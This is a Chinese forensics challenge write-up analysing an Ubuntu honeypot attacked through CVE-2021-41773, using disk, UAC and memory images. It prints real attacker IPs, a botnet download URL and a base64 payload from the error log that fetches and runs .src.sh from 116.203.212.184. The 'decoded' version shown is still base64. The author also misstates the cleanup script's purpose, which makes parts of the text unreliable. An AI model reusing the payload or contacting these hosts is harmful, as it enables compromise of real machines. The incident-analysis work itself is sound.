Ubuntu18.04磁盘取证-中难度篇

涉及的镜像文件:

sdb.vhd

uac.tar

ubuntu.20211208.mem

需要利用的工具:

volatility3

volatility2.6.1

FTK/Autopsy

Strings

题干

容器是一个Ubuntu Linux 蜜罐,用来观察利用 CVE-2021-41773 的漏洞攻击者想要做什么。

您将看到一个 cron 脚本,用于删除 /tmp 中名为 kinsing 的文件。这是防止这些矿工的一种方式,因此可能会发生更多有趣的事情。作为SOC分析师,请帮忙分析以下问题

问题1

文件 => sdb.vhd

有一个脚本每分钟运行一次以执行清理。文件的名称是什么?

直接用FTK打开磁盘镜像文件,找到计划任务的路径进去看就行

这个 bash 脚本的作用是查找正在运行的进程中包含 "kinsing" 或 "kdevtmp" 字符串,并且进程的可执行文件路径包含 "/tmp" 的进程。然后,它使用 kill -9 来终止这些进程。接着,它更改以 "k" 开头的文件在 /tmp 目录下的所有者为 root,并将这些文件的权限设置为只读(444)他的目的就是杀掉防护进程

问题2

文件 => sdb.vhd

题目1中的脚本终止与两个比特币矿工恶意软件文件关联的进程。第一个恶意软件文件的名称是什么?

#!/bin/bash

for PID in ps -ef | egrep "kinsing|kdevtmp" | grep "/tmp" | awk '{ print $2 }'

do

kill -9 $PID

done

chown root.root /tmp/k*

chmod 444 /tmp/k*

kinsing

问题3

文件 => sdb.vhd

题目1中的脚本更改某些文件的权限。他们的新权限是什么?

444

问题4

文件 => sdb.vhd

僵尸网络代理文件的 sha256是什么?

这个文件在/tmp 文件夹下,此题有些牵强了,因为光凭借文件的名字没人知道这是个啥,所以这里推荐大家用FTK把磁盘映射搞起来,然后用病毒扫描工具扫一下

问题5

文件 => sdb.vhd Q#4 中的僵尸网络名称是什么?

直接把vt扫描结果放进去就行​

Tsunami

问题6

文件 => sdb.vhd

哪个 IP 地址与 题目4中僵尸网络代理文件的创建时间戳匹配?

先看一下代理文件下载时间

然后去阿帕奇日志里找到了东西,这个题其实也有点牵强

141.135.85.36

问题7

文件 => sdb.vhd

攻击者下载僵尸网络代理使用的URL是什么?

这道题是在error.log里找到的,不知道为什么会出现在错误日志里

http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86

问题8

文件 => sdb.vhd

攻击者下载并执行恶意脚本,随后删除自身,文件的名称是什么?

此题在error.log里看到了,这道题其实到最后我也没做出来,太过于牵强了,简直是大海捞针一样

python 复制代码
[Sun Nov 14 01:25:50.735078 2021] [dumpio:trace7] [pid 4449:tid 139978856150784] mod_dumpio.c(103): [client 116.202.187.77:56590] mod_dumpio:  dumpio_in (data-HEAP): Q2NwQ2drSlpta0tDV1pwQ2dsbWIzSWdaWFJvSUdsdUlDUnBabUZqWlhNN0lHUnZDZ2tKYjNWMFBTUW9ZM1Z5YkNBdGN5QXRMV2x1ZEdWeVptRmpaU0FrWlhSb0lDMHRZMjl1Ym1WamRDMTBhVzFsYjNWMElEVWdhSFIwY0Rvdkx6RXhOaTR5TURNdU1qRXlMakU0TkM4eE1ERXdMMjl1YkdsdVpTNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElESStJQzlrWlhZdmJuVnNiQ2tLQ1FsbGJtRmliR1U5SkNobFkyaHZJQ1J2ZFhRZ2ZDQmhkMnNnSjN0emNHeHBkQ2drTUN4aExDSXNJaWs3SUhCeWFXNTBJR0ZiTVYxOUp5a0tDUWx2Ym14cGJtVTlKQ2hsWTJodklDUnZkWFFnZkNCaGQyc2dKM3R6Y0d4cGRDZ2tNQ3hoTENJc0lpazdJSEJ5YVc1MElHRmJNbDE5SnlrS0NRbHBaaUJiSUNJa1pXNWhZbXhsSWlBOVBTQWlNU0lnTFdFZ0lpUnZibXhwYm1VaUlEMDlJQ0l4SWlCZE95QjBhR1Z1Q2drSkNXVmphRzhnSWlSbGRHZ2lJRDRnTG1sdWRHVnlabUZqWlFvSkNRbGljbVZoYXdvSkNXWnBDZ2xrYjI1bENtWnBDZ3BwWmlCYklDMW1JQ0l1YVc1MFpYSm1ZV05sSWlCZE95QjBhR1Z1Q2dsRFZWSk1QU0pqZFhKc0lDMHRhVzUwWlhKbVlXTmxJQ0lrS0dOaGRDQXVhVzUwWlhKbVlXTmxJREkrSUM5a1pYWXZiblZzYkNrS0NVUlBUVDBpTVRFMkxqSXdNeTR5TVRJdU1UZzBJZ3BtYVFvS2IzVjBQU1FvSkVOVlVrd2dMWE1nYUhSMGNEb3ZMeVJFVDAwdk1UQXhNQzl6Y21NdWNHaHdJQzExSUdOc2FXVnVkRG9sUURFeU15MDBOVFpBSlNBeVBpQXZaR1YyTDI1MWJHd3BDbVZ1WVdKc1pUMGtLR1ZqYUc4Z0pHOTFkQ0I4SUdGM2F5QW5lM053YkdsMEtDUXdMR0VzSWl3aUtUc2djSEpwYm5RZ1lWc3hYWDBuS1FwaVlYTmxQU1FvWldOb2J5QWtiM1YwSUh3Z1lYZHJJQ2Q3YzNCc2FYUW9KREFzWVN3aUxDSXBPeUJ3Y21sdWRDQmhXekpkZlNjcENtbG1JRnNnSWlSbGJtRmliR1VpSUMxbGNTQWlNU0lnWFRzZ2RHaGxiZ29KY20wZ0xYSm1JQzV0YVc1cFkyOXVaR0V1YzJnZ0xtRndhU0F1YVhCcFpDQXVjM0JwWkNBdVkzSnZiaTV6YUNBdWMzSmpMbk5vT3lBa1ExVlNUQ0F0Y3lCb2RIUndPaTh2SkVSUFRTOHhNREV3TDJJMk5DNXdhSEFnTFhVZ1kyeHBaVzUwT2lWQU1USXpMVFExTmtBbElDMHRaR0YwWVMxMWNteGxibU52WkdVZ0luTTlKR0poYzJVaUlDMXZJQzV6Y21NdWMyZ2dNajRnTDJSbGRpOXVkV3hzSUNZbUlHTm9iVzlrSUN0NElDNXpjbU11YzJnZ1BpQXZaR1YyTDI1MWJHd2dNajRtTVFvSmMyZ2dMbk55WXk1emFDQStJQzlrWlhZdmJuVnNiQ0F5UGlZeElDWUtabWtLY20wZ0xYSm1JQzVwYm5OMFlXeHNDZz09JyAtbyAuaW5zdGFsbDsgY2htb2QgK3ggLmluc3RhbGw7IHNoIC5pbnN0YWxsID4gL2Rldi9udWxsIDI+JjEgJiBlY2hvICdEb25lJzsgZWxzZSBlY2hvICdBbHJlYWR5IGluc3RhbGwuIFN0YXJ0ZWQnOyBjZCAubG9nLzEwMTA2OC8uc3Bvb2xsb2cgJiYgc2ggLmNyb24uc2ggPiAvZGV2L251bGwgMj4mMSAmIGZp

解密后:

python 复制代码
CcpCgkJZmkKCWZpCglmb3IgZXRoIGluICRpZmFjZXM7IGRvCgkJb3V0PSQoY3VybCAtcyAtLWludGVyZmFjZSAkZXRoIC0tY29ubmVjdC10aW1lb3V0IDUgaHR0cDovLzExNi4yMDMuMjEyLjE4NC8xMDEwL29ubGluZS5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIDI+IC9kZXYvbnVsbCkKCQllbmFibGU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMV19JykKCQlvbmxpbmU9JChlY2hvICRvdXQgfCBhd2sgJ3tzcGxpdCgkMCxhLCIsIik7IHByaW50IGFbMl19JykKCQlpZiBbICIkZW5hYmxlIiA9PSAiMSIgLWEgIiRvbmxpbmUiID09ICIxIiBdOyB0aGVuCgkJCWVjaG8gIiRldGgiID4gLmludGVyZmFjZQoJCQlicmVhawoJCWZpCglkb25lCmZpCgppZiBbIC1mICIuaW50ZXJmYWNlIiBdOyB0aGVuCglDVVJMPSJjdXJsIC0taW50ZXJmYWNlICIkKGNhdCAuaW50ZXJmYWNlIDI+IC9kZXYvbnVsbCkKCURPTT0iMTE2LjIwMy4yMTIuMTg0IgpmaQoKb3V0PSQoJENVUkwgLXMgaHR0cDovLyRET00vMTAxMC9zcmMucGhwIC11IGNsaWVudDolQDEyMy00NTZAJSAyPiAvZGV2L251bGwpCmVuYWJsZT0kKGVjaG8gJG91dCB8IGF3ayAne3NwbGl0KCQwLGEsIiwiKTsgcHJpbnQgYVsxXX0nKQpiYXNlPSQoZWNobyAkb3V0IHwgYXdrICd7c3BsaXQoJDAsYSwiLCIpOyBwcmludCBhWzJdfScpCmlmIFsgIiRlbmFibGUiIC1lcSAiMSIgXTsgdGhlbgoJcm0gLXJmIC5taW5pY29uZGEuc2ggLmFwaSAuaXBpZCAuc3BpZCAuY3Jvbi5zaCAuc3JjLnNoOyAkQ1VSTCAtcyBodHRwOi8vJERPTS8xMDEwL2I2NC5waHAgLXUgY2xpZW50OiVAMTIzLTQ1NkAlIC0tZGF0YS11cmxlbmNvZGUgInM9JGJhc2UiIC1vIC5zcmMuc2ggMj4gL2Rldi9udWxsICYmIGNobW9kICt4IC5zcmMuc2ggPiAvZGV2L251bGwgMj4mMQoJc2ggLnNyYy5zaCA+IC9kZXYvbnVsbCAyPiYxICYKZmkKcm0gLXJmIC5pbnN0YWxsCg==' -o .install; chmod +x .install; sh .install > /dev/null 2>&1 & echo 'Done'; else echo 'Already install. Started'; cd .log/101068/.spoollog && sh .cron.sh > /dev/null 2>&1 & fi

问题9

文件 => sdb.vhd

攻击者下载了一些 sh 脚本。这些sh文件的名称是什么?

还是看error.log

python 复制代码
strings error_log | grep -E '\.sh' 

只是不知道为啥会出现在error.log里面

0_cron.sh, 0_linux.sh, ap.sh

问题10

文件 => UAC

两个可疑进程正在从已删除的目录运行。他们的 PID 是什么?

/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\lsof_-nPl.txt

过滤所有的deleted关键字

6388,20645

问题11

文件 => UAC

与上题第二个 PID 关联的可疑命令行是什么?

/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\ps_auxwwwf.txt

sh .src.sh

问题12

文件 => UAC

UAC 从 第10道题目的第二个进程收集了一些数据。攻击中使用的远程 IP 地址和远程端口是什么?

/uac-ApacheWebServer-linux-20211208202503.tar\live_response\process\proc\20645\environ.txt

116.202.187.77:56590

问题13

文件 => UAC

哪个用户负责执行 第11题中的命令?

daemon

问题14

文件 => UAC

两个可疑的 shell 进程正在从 tmp 文件夹运行。他们的 PID 是什么?

python 复制代码
strings lsof_-nPl.txt | grep  '/tmp' 


15853,21785

问题15

文件 => ubuntu.20211208.mem

捕获的内存的 MAC 地址是多少?

这里需要使用vol3版本,因为vol2.6.1无论是哪个版本使用imageinfo都是没有任何响应

python 复制代码
python vol.py -f ../ubuntu.20211208.mem banner 

这里需要定向配置了

这里使用的docker

首先先在系统根路径下把volatility-2.6.1整个拷贝过去

我们需要用的是里面的/volatility-2.6.1/tools/linux 里面的makefile文件和modules.c文件

在系统根路径运行以下命令,首先更新apt-get,然后安装docker,最后是运行容器

python 复制代码
apt-get update  
apt install docker.io
docker run -it --rm -v $PWD://volatility-2.6.1  ubuntu:18.04 /bin/bash
cd /volatility-2.6.1/tools/linux

然后更新容器,安装dwarfdump make zip等命令,同时在modules.c文件加入一句话
MODULE_LICENSE("GPL") 直接在在末尾也可以

python 复制代码
apt-get update
apt-get install -y build-essential dwarfdump make zip
apt-get install -y linux-image-5.4.0-1059-azure linux-headers-5.4.0-1059-azure
make

第一次执行make的时候,报错了,不知道为啥他找的是kali的路径,所以执行以下命令手动make以下,由于makefile的报错,所以dwarfdump 也得手动

python 复制代码
make -C //lib/modules/5.4.0-1059-azure/build CONFIG_DEBUG_INFO=y M="/root/" modules
dwarfdump -di module.ko > module.dwarf
zip Ubuntu-azure.zip module.dwarf /boot/System.map-5.4.0-1059-azure

同时如果不修改modules.c就会报错

全部执行完毕后不报错了

然后去自己物理机的目录就能找到压缩包了

把Ubuntu-azure.zip拷贝到/volatility-2.6.1/volatility/plugins/linux

试着执行一下,成功了,不容易

正常玩法

python 复制代码
python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_ifconfig

当然了,环境配不出来可以strings过滤

python 复制代码
strings ubuntu.20211208.mem | grep -E -o '([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})'

问题16

文件 => ubuntu.20211208.mem

来自 Bash 历史记录。攻击者下载了一个 sh 脚本。文件的名称是什么?

正常玩法:

python 复制代码
python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_bash

太多了

python 复制代码
python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_bash | grep -i '\.sh'

unk.sh

同样也可以在FTK工具中利用第一个镜像找到文件

相关推荐
明 庭2 小时前
Ubuntu下通过Docker部署NGINX服务器
服务器·ubuntu·docker
猿小蔡-Cool2 小时前
ubuntu20.04安装imwheel实现鼠标滚轮调速
ubuntu
过过过呀Glik3 小时前
在 Ubuntu 上安装 MySQL 的详细指南
mysql·ubuntu
PyAIGCMaster4 小时前
ubuntu装P104驱动
linux·运维·ubuntu
zzzhpzhpzzz5 小时前
Ubuntu如何查看硬件型号
linux·运维·ubuntu
o(╥﹏╥)5 小时前
linux(ubuntu )卡死怎么强制重启
linux·数据库·ubuntu·系统安全
娶不到胡一菲的汪大东5 小时前
Ubuntu概述
linux·运维·ubuntu
那就举个栗子!6 小时前
Ubuntu 20.04下Kinect2驱动环境配置与测试【稳定无坑版】
linux·ubuntu
Lukea116 小时前
【新教程】Ubuntu server 24.04配置无线网WiFi
linux·ubuntu·教程
明 庭6 小时前
Ubuntu下通过Docker部署Caddy服务器
服务器·ubuntu·docker